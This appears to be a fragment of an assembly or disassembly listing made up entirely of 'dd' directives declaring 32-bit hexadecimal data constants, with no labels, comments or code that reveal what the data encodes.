		dd 637E507Ah, 714A7260h, 0BEB0EB98h, 7C6E7800h,	85FB16D4h
		dd 22B8C034h, 0FC1FB72Dh, 4A4EF203h, 1EBD4135h,	30ACB110h
		dd 7FB0B618h, 3F230500h, 564B550Ch, 0EEF7C90h, 0EC31A51Fh
		dd 0E3F07980h, 780020CCh, 0BAD7EB02h, 18A806F1h, 491E37DEh
		dd 0A7FAFD2Bh, 550CB4B0h, 18E603C2h, 6FE7001Fh,	0F323DBAh
		dd 84037F4Eh, 0A6FAC23Ah, 2D2FD049h, 0A9B66F69h, 50584800h
		dd 0CC186299h, 0A019C3D1h, 42D5021Dh, 2DBF2BAAh, 92987A63h
		dd 4D18188Dh, 26309684h, 197F004Fh, 6CBE6AAEh, 0AAC33983h
		dd 0B869C0D0h, 1E283Fh,	8FA259A4h, 0F36F40A0h, 0BDB82D09h
		dd 4E470084h, 301EB3E5h, 7A309458h, 0FF0E32B6h,	60D80103h
		dd 0D9FC760Fh, 0D6E40064h, 7B234DA9h, 0A03D3A2h, 8A46F49Bh
		dd 0F8BAC0CDh, 0BC950381h, 4B235279h, 9AD8811Dh, 1070389Ch
		dd 58FCFEh, 0F834B1AEh,	94C051A2h, 213D2737h, 0F54E001Eh
		dd 0CD2E55h, 2F2618Ah, 0A0B8C157h, 60295C60h, 0BA8D4Dh
		dd 91DC2C3Ch, 3B7BD00Ah, 0E55B340Eh, 7258F8CAh,	7188852h
		dd 810A400Fh, 981A20C4h, 25F2Ah, 459DCB50h, 0AA823C4Dh
		dd 0F11EB377h, 0E51F6E07h, 4A6FAEC1h, 7CE3EFA1h, 9B40048h
		dd 46DE4E1Ch, 0AF7737B0h, 0A9412200h, 0A275E638h, 0F8966FA6h
		dd 4FC4F900h, 230612FAh, 0A7603563h, 83DC0098h,	5B3D5A47h
		dd 0E812D9BFh, 2F0B4D2Eh, 91EF8614h, 37A13741h,	26B760C1h
		dd 6000E7DBh, 0E8B2D40Ah, 2D34D5h, 644821B1h, 78F51E1Ah
		dd 493EC0A0h, 0CD279E02h, 994AB852h, 0BF0846C4h, 0AB898A00h
		dd 0EC4CCD10h, 332D75AEh, 50F06E9Fh, 1E7793Ch, 1B99F088h
		dd 0CCE4FAC4h, 0D2CCFBF8h, 0ECDF4850h, 0A7FDB060h, 0A0175BFh
		dd 73D8C952h, 28243BA2h, 0D19B6E5Fh, 7E989EE0h,	90036BDDh
		dd 0EB1C9F8Fh, 934BF8F1h, 12307D35h, 3CD2CA7h, 0C60D4F14h
		dd 3194883Eh, 51B0B931h, 0FD77D180h, 46B2990Ah,	8F48D17Eh
		dd 3FAFC71Ch, 2487EA43h
		dd 401C7278h, 5E12C073h, 0F299D50Bh, 107B0007h,	401A6Dh
		dd 4DF9905Fh, 0B42930DAh, 0A1040500h, 636F7C2Ah, 892C916Bh
		dd 8406DC75h, 0BB00E8B7h, 0D16D9384h, 15CBB24Ch, 0F8A44862h
		dd 4540058Eh, 0C13D56EEh, 88A2702Ah, 0F3524700h, 50FBB55Ch
		dd 5EA80391h, 10E2A411h, 33EC9F98h, 0AD206893h,	6D473700h
		dd 0AAFCEE3Dh, 0A6950C7Ch, 0D2508824h, 7E1F5370h, 0E9809F8Bh
		dd 69374BC8h, 49FF7DE4h, 6BC5745Fh, 0EA9040C5h,	0C66CCD8Fh
		dd 0D2E633E4h, 969AFF01h, 92D605Eh, 1AD78F8h, 9C934AD8h
		dd 52544F4Ch, 8C48C8A8h, 8B00DF83h, 297B1979h, 0F10752Ah
		dd 0EF7F3A62h, 0C580384Fh, 0C8AE6769h, 4D41E700h, 0C9BFA9FAh
		dd 0F89361h, 9ADA10AFh,	33648827h, 24C8C758h, 93FF0063h
		dd 0B9CC52C2h, 7CF29BDDh, 42BC3Bh, 147D40ABh, 30A75319h
		dd 52A1C007h, 8DEF107Ah, 0F1B95FE8h, 630DECh, 0F2917C4Ah
		dd 927A43BDh, 0C8311B00h, 0CD6A09F3h, 9E281342h, 9A74008Fh
		dd 0A49FBFAh, 80E07CA9h, 0CDC04BA1h, 4FEA36h, 9F025DB4h
		dd 34BDA075h, 5C4D8713h, 94E9440Ah, 74014280h, 3CAB15A4h
		dd 0EDA6AD68h, 509F0298h, 0F9C2C535h, 88828B01h, 6C8C5891h
		dd 3F2970BFh, 0BBBCE35Fh, 0E88C744Dh, 91E02261h, 0BA1D2A00h
		dd 79E5E357h, 0C944A035h, 8B5307A0h, 0D0ED82F5h, 0EE888499h
		dd 6048BF90h, 2A5A2260h, 0EC34C8h, 0D2D007BBh, 0F54AFCDEh
		dd 89AD5112h, 0AF117C00h, 0B5204A1h, 0C161C7ABh, 21E52801h
		dd 3027ACh, 0C989616h, 658B43h,	1FC56FEh, 45A01ABCh, 0D92DC900h
		dd 0ABD5CD63h, 144C1198h, 0D32B115Dh, 57812700h, 0BE51CAF4h
		dd 0FEEEF100h, 3345538Dh, 1D661235h, 4814404Ch,	0FE0547B9h
		dd 7E0F61F6h, 54791492h, 4A94C4C8h, 24FE3088h, 8CA01222h
		dd 0DC79B472h, 0C00A2E0h, 7D4A6BE9h, 900FA968h,	0FBF09068h
		dd 47669710h, 504DE200h, 0DF8BC00Bh, 408A3880h,	782B8E84h
		dd 0B3FCDC9Ah, 78340730h, 180910Bh, 0A453F652h,	20FF11E0h
		dd 1300E6D4h, 73222DF0h, 6880526h, 0AB5AE957h, 0D825E1BFh
		dd 1E05F432h, 616E13FAh, 50D2B310h, 35B9A98h, 0D406F806h
		dd 0D9CBA0h, 0A701F663h, 837962FEh, 0E877FA04h,	68CCD7C9h
		dd 0DCC154A6h, 58B33ACAh, 1FD7D75h, 4F827495h, 0A6B2C8A7h
		dd 0C43F3051h, 279209A3h, 6101AA06h, 51133A3Ch,	40DC94ACh
		dd 8EEE9F4Ch, 18D13412h, 4E741401h, 51BA56C8h, 0CCA3AAh
		dd 7BE96E61h, 0F32611DCh, 7ACEAA0Ah, 0B240DCC8h, 0EE289E7Eh
		dd 80C0057Bh, 805E661Eh, 0E7E11823h, 0F56C8902h, 4A29248Dh
		dd 0C85C41E4h, 0A0BF5211h, 5CF7A849h, 0F9CE80h,	19D0351h
		dd 5E47B05Ch, 0C8145F22h, 724874CDh, 90F4000Ch,	5A7ECEEDh
		dd 2DD900EEh, 0C99DE2C6h, 1349A9D3h, 63BA0A18h,	60967832h
		dd 1C0A8820h, 0B19300AFh, 0CADD8D05h, 2000477h,	0F0316649h
		dd 1C0F6CAAh, 59527D46h, 27AFB139h, 86D002B4h, 945B4D03h
		dd 699F60E4h, 337D6B9Eh, 0D9B64B00h, 3E1A9545h,	51FB00F2h
		dd 1C191807h, 794856B0h, 0A110C0FCh, 30E2E376h,	1FD0F0C5h
		dd 0A4A87D65h, 98803F99h, 0C70934Dh, 3F41BC5Dh,	0CB0421F0h
		dd 0BD4378AEh, 0B38258D8h, 0D3C039A0h, 8BD03F4Ch, 0FFB89072h
		dd 0E84BF42Ah, 0E416017Fh, 0C01AFC39h, 0E1983084h, 0E447FB45h
		dd 0ABA07DF0h, 870612FCh, 9C9810F3h, 0C943E10h,	0B998C84Dh
		dd 76346BBh, 0E4D545BEh, 8CA218F7h, 19844CAh, 0FF2EEE9Ch
		dd 26C8D148h, 6BD30828h, 483B80B4h, 0A94DEA7Ch,	0ABBC8A02h
		dd 61D7EE26h, 0CC5CF3B8h, 3916D8D3h, 1800446Ah,	8268593Bh
		dd 4D1CDFh, 0FAFE8AA2h,	0F5C4F627h, 658CE412h, 7E63AC80h
		dd 9C070178h, 7A4D068Ah, 3ED834CAh, 3D365588h, 0D3859318h
		dd 98E80681h, 0FB738A24h, 0B486F22Ah, 0D689D160h, 3BCE4F6h
		dd 75A72684h, 74E80B08h, 70004692h, 0F268D1EBh,	95DFF59h
		dd 0F9409AD8h, 9B0A022h, 766BB0C8h, 0A6C8E700h,	1D216A14h
		dd 0B2C501D8h, 7DBA3463h, 9E4C28BEh, 51A2BFh, 0B793A74Ch
		dd 0A237579Dh, 0BF20020Bh, 7E5C197Ah, 42403C34h, 344571C8h
		dd 5004E045h, 0BB0B6063h, 9424742Fh, 8D5E82C2h,	78253866h
		dd 9ED02060h, 0F202C0h,	95442B66h, 6BF83152h, 0AB21A360h
		dd 0A93640Bh, 0BD3AD3EAh, 607CAC60h, 0A1965D97h, 1BBBE21Dh
		dd 0F6F90B40h, 29701119h, 92FCD42Eh, 1D7406BAh,	0D70FB94Fh
		dd 173696h, 0D0FB7866h,	168092BFh, 218E2794h, 0A493CD50h
		dd 3E1FB091h, 9C825D60h, 67F265C0h, 70B0EE4Fh, 9828414Ah
		dd 9F9B0248h, 5902B519h, 0F913B4E0h, 4BE81100h,	0A72FFDE4h
		dd 3F3C1AB3h, 0AC8171CFh, 2D4D2288h, 0BF630010h, 0AB5DFAA3h
		dd 0F9FCAB08h, 0E032571Ah, 90567980h, 97E7C446h, 300414F8h
		dd 5204CA96h, 0A368C860h, 2C3D909Bh, 0F91864B0h, 24616E49h
		dd 0D788C7h, 0DB5B20DEh, 96006F7Dh, 0AF57BDFh, 0E7BC451Eh
		dd 269102D7h, 21209D06h, 18772440h, 0FEAE2E00h,	2C13A7B4h
		dd 9FEB01D8h, 213722B5h, 566980E4h, 9A8C8168h, 58C04D94h
		dd 47EE72C5h, 705B81F8h, 258A4222h, 96A5C61h, 8050B318h
		dd 9A6B7B8h, 0CB3B979Eh, 521AAC64h, 51A00665h, 7F3D8188h
		dd 628FA879h, 0B56883CCh, 0EC8CF456h, 721A00D5h, 0BB76F048h
		dd 70A03B9h, 0A8D6464Dh, 52036313h, 0CC32B5C5h,	344E789Ch
		dd 40A15E1Ch, 6D3FF028h, 9D0F67CAh, 20D36E0Ch, 0FDB63D70h
		dd 0B75D29F5h, 1EE604D0h, 0A80B379h, 9CF82EC9h,	65313B80h
		dd 49CD9Ah, 0E80D5327h,	0FBECABE6h, 0B67BDC0Fh,	9D0B847Eh
		dd 46C988C7h, 2882488Ch, 8DC9F200h, 482DDA4Fh, 0BAE5F700h
		dd 40D8BBD2h, 0BEA6244Dh, 521E0C78h, 97009691h,	5478453Dh
		dd 917636FFh, 98168084h, 0DD9A0D01h, 0ABD6E100h, 57B6B240h
		dd 0C1509463h, 62A0DA61h, 27F00034h, 0E447C1D7h, 46B80108h
		dd 0C2C0E04Ah, 0FC9AD886h, 0D9ED6C00h, 0E8EC5798h, 0D3FA00B3h
		dd 54DBD00Bh, 0B7F0A808h, 188B3500h, 95B86A7Eh,	0A56C0E68h
		dd 88A0060Fh, 0E8860AD0h, 8916D506h, 40E4D8h, 0E6E5CCA8h
		dd 0D101ED3Ah, 37B124Ch, 9C6258E0h, 5B84F886h, 6C790D0Bh
		dd 0C4686898h, 80C0AC2Ah, 0C2A471ABh, 62410AD5h, 0D8EBF5Eh
		dd 603970D4h, 0F330D880h, 0FE503824h, 81EB0006h, 0F1315C9Fh
		dd 2200E97Ch, 0D3C2DE96h, 0F6925786h, 6E170112h, 793071AAh
		dd 48A880F8h, 5A13FC7Ah, 0A81D000Ch, 1107876Dh,	917F1A73h
		dd 70B7FD00h, 0B9130F6Ah, 58D806CCh, 41FB8BECh,	0D74A4019h
		dd 63F5E8F0h, 5467F4h, 527AE2A6h, 0A151EDCBh, 0F2993400h
		dd 280148D9h, 429D039Fh, 257EC40h, 71884908h, 36FA00EAh
		dd 66B15610h, 0E78273Fh, 0A7C0E77Ah, 99A129D4h,	0C760125Bh
		dd 4C220059h, 0E2D153B3h, 6E009BC0h, 0EFCD831Eh, 0C0EDD89Eh
		dd 65EEF551h, 943A1D88h, 4279008Fh, 0B35241FDh,	4A6A383Bh
		dd 0C5D0F67Ah, 47145B31h, 0DAA0DB78h, 75A401CCh, 0EC175306h
		dd 9200BA24h, 76D32E84h, 24EC325h, 0F96657F4h, 9483CA19h
		dd 5000EE0Fh, 4DC520D3h, 7ED51F6h, 5C8C1D9Bh, 99F15753h
		dd 293D9F06h, 7360F91Ch, 6F4CB942h, 71384870h, 0DB7E56h
		dd 64C57D9Ch, 6D1F77D4h, 0D5EB5B00h, 2B8905D1h,	904C7387h
		dd 0B1A91564h, 1307AC7Ch, 0A16F969Ch, 2085A42Eh, 49F892E1h
		dd 19BDE3Bh, 3D82FBE7h,	0E4524828h, 0BF9C9065h,	0E74E00D4h
		dd 26CD8D68h
		dd 54058A99h, 0EC24899Ah, 0A91F6680h, 3EC012D1h, 53A006A4h
		dd 0E3497970h, 1A2950A4h, 0D5A97800h, 0ACD11069h, 4C252907h
		dd 80B42994h, 52A99E44h, 0B8796D03h, 800E1580h,	0A6559579h
		dd 0AC90C6C4h, 1E002C9Ch, 6B3117F9h, 9749260h, 79C8ABE0h
		dd 0A8000814h, 0AE5FB359h, 128816E4h, 40AC0BF2h, 2BB06AB8h
		dd 5A028778h, 14D8CF1h,	368490D9h, 79EF001Dh, 0C757F839h
		dd 1E24E7E1h, 0F9E38C7Ah, 0D3C9046Eh, 897B7907h, 89984468h
		dd 8CECD32Ch, 5F542464h, 0C205A898h, 32E31BF2h,	9DEBC440h
		dd 770EF65h, 98258121h,	2923A0F2h, 24388CFAh, 665109C6h
		dd 0B780247Bh, 0A57A5970h, 83CAE43Ch, 42051484h, 0BA12CBDh
		dd 158F0762h, 33241138h, 4589877Dh, 0C7C3B55Bh,	83EED0F5h
		dd 8A4A006Dh, 13059644h, 0EF015D43h, 8286CBEBh,	39835C33h
		dd 0E0961C56h, 88B440AFh, 510094E3h, 3D81BCB8h,	1DED22Eh
		dd 0AAC572BEh, 30FBEA84h, 0F74C1264h, 145EC1C0h, 0FC4294B8h
		dd 48E91985h, 0EA61B5A4h, 29408871h, 0EC22F827h, 234AF006h
		dd 0DA659Bh, 9AE057E9h,	728C0A30h, 7BB5110Ah, 0EA40BC4Ah
		dd 1DEC8A7Eh, 40109DE7h, 625E5C40h, 0EF01C35Bh,	72843E88h
		dd 1034064Ah, 0A18E00AAh, 9A5D74ECh, 0E558E132h, 3D80A0Eh
		dd 0D111FC10h, 61E87816h, 0EB025E30h, 7F9B7900h, 962363E6h
		dd 60B00016h, 19653F5Fh, 0C81357ACh, 0D40889A6h, 7FAF81DFh
		dd 0CC810E43h, 0F9526FA2h, 0ED781090h, 5FDEBA84h, 1544D03Eh
		dd 3E1094ACh, 0D30C32D5h, 0E0317602h, 48C96600h, 0F59F40F3h
		dd 4C62006Eh, 89026BEDh, 2B00E237h, 0E97684FCh,	58FD419Ah
		dd 70A70CAAh, 0D91F6460h, 5DC1C200h, 0E97B4868h, 84EB561Dh
		dd 853A7704h, 3B74904Bh, 91CC256Fh, 58E360EBh, 14800C0Ch
		dd 7DFDB5FCh, 0AB64A005h, 0AC0349CBh, 80E1AAC0h, 344F6C83h
		dd 8E599676h, 0C8FB0164h, 26D9CF9Ch, 295CC8h, 8A4D4C40h
		dd 0D3FFEE61h, 0F8D8F701h, 0FD5F6EECh, 0B1960074h, 8D0ABFB8h
		dd 409C0894h, 0B14BF482h, 8004CA3Eh, 0D09ABC1Ch, 0C39341h
		dd 993E7F19h, 0DE68F40h, 8433DE00h, 88416CCBh, 304F49BAh
		dd 887D7985h, 56594A3Ch, 1B6D8020h, 34BAF63Eh, 0F0CB11h
		dd 43E6D1C0h, 21169E0Ah, 804C345h, 20423AFh, 95C88877h
		dd 21D75500h, 5D715384h, 6BE20F12h, 246CF9E3h, 1E5803C9h
		dd 1A14C01Ch, 268362C0h, 60CC187Bh, 0F8EB38Ch, 6A3A750Ah
		dd 5A80B015h, 1F525111h, 4CCAF5CBh, 0F3EB03ECh,	5027E28Ch
		dd 646CD3D0h, 908A322Ch, 5AC611E0h, 3AC818B1h, 0B5A8B960h
		dd 59187CB2h, 8EA9260Fh, 77B900E5h, 137D3AB7h, 0F00992F5h
		dd 0A2AB50ECh, 40408968h, 80033D8Ch, 4260D888h,	4A78DE9h
		dd 0DA6D00BFh, 6A7341B8h, 800B3C4h, 0AA05C082h,	2483B75Ah
		dd 51086E70h, 7A8810F5h, 487C9017h, 84103455h, 0C4209632h
		dd 1F4B384Dh, 3C8C59Ch,	0F72536A1h, 9882A597h, 4E0A14D0h
		dd 9E093B2Ch, 0EDD6F500h, 6708ABC7h, 0D16CF138h, 0F87FD182h
		dd 0D0008034h, 71A5C801h, 0BDAAA1Bh, 4BD77CB6h,	24E854B9h
		dd 9C015424h, 92C731BBh, 0B1E6D54Ah, 0A462DBBCh, 0FDD7D103h
		dd 4180DD2Ah, 9F5C42EEh, 7F3F29h, 59AFBDF2h, 1895D5Ah
		dd 5C43DAA9h, 2261791Bh, 0C05F2E58h, 46E0A31Ch,	3BAD06ABh
		dd 4AD13950h, 70384002h, 3C777D5Bh, 75C1EA02h, 40C50962h
		dd 1D86435h, 0D9FBDB8Ch, 24EE400Ah, 0E43AB108h,	0F6BF0BE5h
		dd 0BA38B815h, 7608402h, 71136399h, 423C161Dh, 6EF047D7h
		dd 0D215502Eh, 0E4027EADh, 0AF540F34h, 9240C524h, 0E07C21D8h
		dd 0CDDEE0A9h, 69C0D9F6h, 0ECABB25Ch, 0DBBA091Bh, 3822356Fh
		dd 84856E3h, 83B375Eh, 0E1DB1C3h, 0D040B004h, 285670BDh
		dd 3065ACh, 0AAF121D3h,	608DEBC2h, 0BD51E000h, 0F3A57166h
		dd 0BC705CB6h, 1CB0B109h, 405BE884h, 5DC08573h,	0A6EB2B8Ah
		dd 0B26E0488h, 0B0B40BFAh, 0B0A91E34h, 1BD880E2h, 58C18253h
		dd 29051D4h, 5AE1A4E0h,	0F66C5D0Fh, 6A4F0CAFh, 60D2EE24h
		dd 935F1C05h, 425A2C90h, 0A7C9C3EFh, 32AA7246h,	9A2F3BC0h
		dd 90017893h, 1128BA4Eh, 1F332D0h, 0B0EA8C82h, 608B50D1h
		dd 0AE26F7B0h, 0D0C28C4Dh, 260A5BFh, 5034C8h, 0FD1226B0h
		dd 0EFCA4134h, 5ED0FA00h, 0F69FD7DAh, 0A84F1955h, 2908F019h
		dd 0BA530014h, 432DA1A6h, 0C05E01E0h, 373F4F44h, 1C73BFh
		dd 0A1AAE346h, 8EE8B3h,	3E6191C4h, 66530FCAh, 9C2DF328h
		dd 0D3425811h, 81FEB000h, 0FF47E1C7h, 3EBA7201h, 0D89A4086h
		dd 74006022h, 0A5A3C671h, 0F600C795h, 2B2282B5h, 482F78BBh
		dd 5CC0105Fh, 790634B3h, 22F392F0h, 580A1ED4h, 5F94FE40h
		dd 64E516h, 0AEBACB99h,	59E476F7h, 9575A504h, 8989A41h
		dd 8028B35Fh, 36DB54ECh, 3DE67E6Ah, 7DB4774Ch, 5A00B0B9h
		dd 9F2A67B5h, 59E72603h, 0F8D08A8h, 0D0116C2Ch,	0EA75461Fh
		dd 0B4FB485Ch, 0C919A380h, 0AB0071F5h, 2C4D5429h, 4EEFF607h
		dd 0CD8C40E3h, 61DA4843h, 0B71A4500h, 0E176C9B0h, 0D2021FF0h
		dd 62595316h, 84E1B76Ch, 0A775105Ch, 0F09500B3h, 0ED327AFEh
		dd 5E01CC18h, 0DD11429Dh, 0E02F8ED1h, 0C6094D93h, 826A076Fh
		dd 0C6627948h, 59F4A1B4h, 48B18F4h, 0DB4C7ED8h,	27E09033h
		dd 0F5980A5Bh, 979A5100h, 22C6766Ch, 34520029h,	5073F7BFh
		dd 4048E766h, 0A5DB1508h, 6BB800D4h, 7CFDA8A2h,	54909Fh
		dd 0B4404C9Ah, 0C636335Ch, 0CAA9DB3Ch, 91AD5C30h, 80449608h
		dd 0C6650DA0h, 7DF4B341h, 0A58E8D00h, 378B6F47h, 58CBE068h
		dd 638038C4h, 27BE6BDBh, 7B34ED00h, 75D48A57h, 94044D78h
		dd 4385389h, 84001B6Ah,	0C2C0D27Fh, 4DAB5A6Ch, 8826F0DDh
		dd 0B42A002Ah, 23567B8Eh, 39133894h, 0A0EE7422h, 0DD829FE4h
		dd 0E82E003Fh, 85FC18FBh, 5912B52Fh, 6C332187h,	9888FCB9h
		dd 98C0E231h, 0D5D900ADh, 71C35C01h, 7509DF21h,	6A0BCDF9h
		dd 526011A0h, 60F2ED19h, 0E9446C44h, 0FD4F0373h, 12AD428Dh
		dd 155DB121h, 0C0FEC3Fh, 93C085D5h, 0A76EADF3h,	42E2F80Bh
		dd 395C307Fh, 80F89CC4h, 52EEF905h, 0BD07E3ECh,	1E7D9D0Bh
		dd 22E2B290h, 0B8995C61h, 0DCF0D5C0h, 0A9006BC9h, 4CC6F27Bh
		dd 157A70Ah, 563A51F5h,	620D71C0h, 2EB20084h, 9E601498h
		dd 778000F9h, 68E1D69h,	0AB1D665Fh, 0A5020ACBh,	6E83B0BDh
		dd 41424AF4h, 0ABD6F244h, 1062EC22h, 0A0187C00h, 497794C8h
		dd 2ECD1EA6h, 64A4E69Ah, 428CC003h, 89C504BDh, 0E840E1E3h
		dd 49172A2Dh, 0DFEB07F1h, 75936CFFh, 0A92C8296h, 792780C4h
		dd 0EB949063h, 29C9145h, 0E709F27Ch, 6478C960h,	0A294E900h
		dd 6B185B46h, 549106C5h, 71FD5E25h, 2E830C12h, 0ECFF1430h
		dd 4CE95156h, 98612C00h, 0F220073h, 5A167829h, 0B51F759Eh
		dd 0BD40922Bh, 289388F7h, 5C24E406h, 0E0B7CC85h, 3F661F84h
		dd 4AE5E700h, 902C1E77h, 0AFF7293Dh, 5300BEACh,	8FC91F87h
		dd 0D4B172AEh, 273AB300h, 26F2253Dh, 0C12C4088h, 0F9E1ABB4h
		dd 0A8B98184h, 496C68B6h, 24294025h, 0F38D809Dh, 0A0B62CECh
		dd 0E435FB2Ah, 24F0644Fh, 8C400FCh, 0A4F88C83h,	7B256745h
		dd 0B5F09163h, 94846E0Ch, 0EA63C228h, 1E27DC28h, 564C253Ch
		dd 0F000E42Bh, 0E87DA62Eh, 699C61E7h, 39020044h, 9433A732h
		dd 97478DFh, 0BBD47891h, 76EB3860h, 749E6374h, 0E325914Eh
		dd 2854C4A0h, 0A013398h
		dd 24C7D28Dh, 0D4F8E8FAh, 176F13F0h, 0AF886043h, 0CE016A5Ah
		dd 0F9BE241Dh, 6320D176h, 0C35202C5h, 0F2AB5426h, 2C9878A9h
		dd 0BF39E004h, 39DC800Ah, 0B2449AFBh, 7CBC5540h, 18A2C20h
		dd 2EE93A71h, 340F3450h, 0D8A72D18h, 0F2A92800h, 592F6DC9h
		dd 58C04C72h, 5519CF11h, 7B0D7915h, 600900CCh, 15414E95h
		dd 0BF770008h, 36F29C0Fh, 0FB132A62h, 5C20DB8Ah, 7266921h
		dd 28A3FF0Ah, 94CCE951h, 12545358h, 18906F06h, 246C8303h
		dd 88CC7763h, 8884766Eh, 1D40EE71h, 0AE52BE3Ah,	7E09141Ch
		dd 0A0119A00h, 54C0FD66h, 0A0F1708Bh, 135809C3h, 4008ACA5h
		dd 0D76CD37Ch, 337A10FFh, 0E4BE0C02h, 0B03292F8h, 9B449480h
		dd 20DB12CCh, 0C09B3B3Ch, 27EFFB04h, 90839E65h,	645EE482h
		dd 5DEB4018h, 58378668h, 0D002D81Bh, 1220298h, 0C832D811h
		dd 0B5F5AA00h, 51A5CFE1h, 6B755305h, 5C347AEh, 338EE0CAh
		dd 2F39C005h, 8AC67EDAh, 446EBE01h, 0EBCA4ABFh,	0B84C42Dh
		dd 3B84886Ah, 1EB448EDh, 78B4C005h, 0C0084ABDh,	83248D32h
		dd 2691E161h, 80B85D44h, 0E26CCBEBh, 59980589h,	0A2AB61ECh
		dd 185C2DBCh, 977F4h, 0F49F744Eh, 0D5F59D1Fh, 0C384C700h
		dd 3D7CA798h, 6653118Bh, 68F90A87h, 0E4A8D4ADh,	4DD00722h
		dd 0A180A88Ah, 5827B35Ch, 3DAA362Eh, 1ED09125h,	0DD27C2Ch
		dd 24A1B32Ch, 0DF443368h, 0E4EE0412h, 0E4DB1BADh, 0ED007EA8h
		dd 0C5D0E60Ch, 863D60h,	9F4BB73Bh, 0D47B0A59h, 10116F26h
		dd 0B81E120Ah, 0F4E228E4h, 0E6388901h, 761C1DF6h, 6CC8D258h
		dd 19BF0C1h, 89FE4FA2h,	7D6D4DECh, 3FD11C8h, 1F5CC12Eh
		dd 4F77C1ADh, 0E00CA4E1h, 349B582Ch, 98598900h,	16F8C0F3h
		dd 90603D88h, 0C9F66D48h, 0B21DF57Ch, 4144C5EBh, 3CDC539Bh
		dd 50160288h, 830BE5CCh, 89016C7Bh, 4F6B208Bh, 9C8ADC60h
		dd 1DA40ECh, 327737B6h,	0FDE7EF07h, 0BBF0E0AAh,	1DB583FBh
		dd 0A8D102A6h, 0DB6344F8h, 1D0A120h, 222F5826h,	607E4A85h
		dd 8E025041h, 7F2C2D14h, 1664EED3h, 20A4EC5Dh, 43226B18h
		dd 0B4EDB3Eh, 134C3A60h, 8CC001C4h, 7C533666h, 0E6C27ADh
		dd 627BA888h, 0DB7ED4BAh, 31420C68h, 0C50FC3D9h, 0A0057C87h
		dd 0FBB1CBB6h, 21ED0094h, 9F26B225h, 0DCB8194Dh, 0F401A8B4h
		dd 43D464C1h, 32241424h, 6591E3F6h, 8D15F890h, 0DC881701h
		dd 82BABE1Ah, 70017027h, 503D113Ah, 8F4DFC7Fh, 0A63900Bh
		dd 1504845Eh, 7A6D5A40h, 250BD438h, 0C7AE8C77h,	67ACAC40h
		dd 0EE3070B1h, 0B409E548h, 9BAB36h, 329D6F2Ah, 0E213131Ch
		dd 286C04A9h, 0EB3B44F9h, 0F92488E4h, 3085B048h, 0EBE947D4h
		dd 85A881Ah, 7D6B6C40h,	59B438BFh, 0A1C08449h, 0BCB358B5h
		dd 0A85B8D03h, 0A84B7993h, 2DD1D339h, 0B818C09Eh, 0E0525F24h
		dd 48404AA0h, 97800A2Ah, 49FCA6h, 0C193A11Eh, 0F2456A67h
		dd 5E32E41Ch, 2F6C63CEh, 0D02B7007h, 2065136Ch,	228B6EECh
		dd 1A159800h, 4BD49083h, 4CE0A810h, 269189F8h, 0F2893C44h
		dd 0EA881003h, 0C28284E4h, 1C4409h, 0BD870B32h,	14BCBEFEh
		dd 84627300h, 4C7D0130h, 0A430B6Bh, 4C8B7F3Ch, 0FD4FD430h
		dd 90BC70F6h, 0D40D240h, 0F84A5984h, 8D60EB80h,	56028833h
		dd 30528913h, 2130D8B2h, 2409D506h, 424C98F9h, 11E36150h
		dd 2DD76179h, 97E83D34h, 3880276Ch, 738DEB53h, 0E020953Eh
		dd 0E386CB9Ah, 7CC1809Eh, 3463603Ah, 7006E21h, 3064A3C0h
		dd 80B09986h, 6908173Ah, 91009C5Fh, 433318Eh, 26E8256Bh
		dd 0D0E49EFDh, 0AC40DB42h, 901B00FFh, 7F1DB65Dh, 1003A50h
		dd 0A0ED431Ah, 480D9E19h, 0B43044E6h, 54AB3931h, 499339h
		dd 0A63F332Ch, 231761Ch, 510BD112h, 4869DB66h, 0D8F05C94h
		dd 9E003891h, 28AAE0E7h, 9DB100EAh, 491B5D88h, 380FB029h
		dd 8030D1F2h, 46C8F3Ch,	3DFA124Dh, 5880A261h, 5677A0B0h
		dd 1F94A1h, 236443F0h, 0B89BA52Ah, 0A86929BAh, 5803F0ACh
		dd 77CF4C22h, 7B6A02B1h, 39334771h, 48D54061h, 0E60095D8h
		dd 0C0EBC702h, 60036B1Fh, 97CE91E1h, 9A040C2Fh,	0AD8C8F85h
		dd 790D74B8h, 0C6F1ABBFh, 4756B890h, 8953A700h,	67C89541h
		dd 0F3BE0097h, 0C5A43C52h, 0FD30C0E5h, 6C3B38A3h, 4E81D63Eh
		dd 9EA41014h, 0D1B488D8h, 381CA37Eh, 4CC0AE79h,	0FB1F4077h
		dd 0CA4F00D8h, 0E066116Ch, 24658D43h, 280957D0h, 0FC48C833h
		dd 397E1Fh, 706C1A40h, 4F194ECFh, 3DFE5E1Dh, 0C2F31345h
		dd 0FAB15083h, 7920428Ch, 0C754006Ch, 997BD173h, 0CB4E2612h
		dd 0B4847C02h, 9C87298h, 0E2DE6551h, 1006844h, 45D8935Eh
		dd 986A33F8h, 40C096F8h, 1EBD63C6h, 7E8EE00h, 41EA975Eh
		dd 8F05063Bh, 2910E368h, 0B2CFDB07h, 0AC0C790h,	0A8D3F09Ch
		dd 24B34AB4h, 499AADh, 0CB6A3788h, 0C63A5F8Ah, 4FAA430h
		dd 0FD620360h, 76850073h, 0B05046E9h, 9C0A114Fh, 7CD3229Bh
		dd 72307762h, 0EABA0088h, 3C7BD38h, 0AA03660Fh,	7B60F19Dh
		dd 0FAA10BD6h, 6022F568h, 0C449CFF4h, 0DA904283h, 81008CCEh
		dd 0B086ECF1h, 141AB7Bh, 549B478Bh, 0FDBA6412h,	8FAC602Fh
		dd 6E76E409h, 732C21B9h, 54DC144Fh, 4CE8A403h, 90195C6h
		dd 0E5D7DFBh, 741DEC1Fh, 24340495h, 5D742CACh, 3A9FB05Eh
		dd 226ED3Eh, 7D374094h,	0D4154979h, 0CD75Ah, 68A720D2h
		dd 3424A9CCh, 0A8D804EBh, 28668010h, 0EAEA87F0h, 0CAE10190h
		dd 0CEE24D56h, 1EC070CFh, 20B0E375h, 5C6E9405h,	20C057FAh
		dd 2C3C87B3h, 89540A93h, 84913EF7h, 442BF6D5h, 58E73CF0h
		dd 4D2AF207h, 1EA84109h, 4292D827h, 4E2E500h, 0FF2B6010h
		dd 0A88FE0DCh, 6FEE0h, 0D554EC5Ah, 0F93D8A43h, 65695B64h
		dd 0FC2720B4h, 40C85C2Eh, 4F6DFB00h, 0B75A51AAh, 7CBB9100h
		dd 0E34E58CFh, 30F45F54h, 0D3872C94h, 19008BB0h, 1475F7B6h
		dd 7FBBE46h, 0AC82928Eh, 4186A539h, 5381274h, 0E2FA00D1h
		dd 6AAB0163h, 7DD5FD78h, 0FC053A58h, 0F820C6BFh, 3B489263h
